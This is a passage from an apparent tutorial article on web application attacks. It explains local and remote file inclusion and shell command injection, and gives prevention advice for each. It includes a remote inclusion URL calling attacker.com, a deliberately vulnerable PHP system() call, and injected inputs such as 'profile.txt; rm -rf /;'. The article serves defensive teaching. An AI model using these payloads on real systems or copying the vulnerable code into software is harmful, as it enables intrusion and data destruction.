attacks later. This is a typical example of a local file inclusion attack.
The attacker may even execute /eyes.php?EYES=http://attacker.com/malicious.txt? That will inject a malicious file into the web server, resulting in a remote file inclusion attack.
Interested readers may find more information about this attack in the following article: What is the file inclusion attack?
How to prevent file inclusion attacks?
We can follow some coding practices which will reduce these vulnerabilities to a large extent.
- When a passed-in path is included, ensure it does not contain unintended character patterns.
- Instead of dynamically generating the path from the URL or form parameter, you can use a predefined switch/case statement to determine which file should be included.
What is the shell injection attack?
The shell injection or command injection attack is an attack in which an attacker takes advantage of vulnerabilities of a web application and executes an arbitrary command on the server for malicious purposes.
Example:
Let’s understand this with an example. Suppose a web application takes the name of a file as input from a user and displays its content. And the web application has implemented that with the following piece of PHP code :
<?php print(Please specify the name of the file ) ; $file = $_GET['filename'] ; system(“cat $file”) ; ?>
So, if a user gives an input ‘profile.txt,’ the corresponding file will be displayed. But, suppose an attacker gives an input ‘profile.txt; ls;’. It will list all files in the directory where profile.txt is kept.
Or even worse, the attacker can give input ‘profile.txt; rm -rf /;” and this will delete all files in the root directory.
Interested readers may find more information about this attack in the following article: What is the shell injection or command injection attack?
How to prevent shell injection or command injection attacks?
We can take a couple of steps to prevent this attack.
- Carefully sanitize all user input data in the web application.
- Strip certain characters like ‘;’, ‘&’, ‘|’ etc from user input data.
- Limit the length of user input data.
- Check the validity of the user input data type.
- It is always advisable to include filtering functions before executing the command. In PHP, escapeshellarg, escapeshellcmd may solve the purpose.
For more information, please look into What is Shell Injection or Command Injection Attacks ?.
So, beware of various vulnerabilities of web applications, so that you can protect your web server in a better way. And, stay safe and secure.










































0 Comments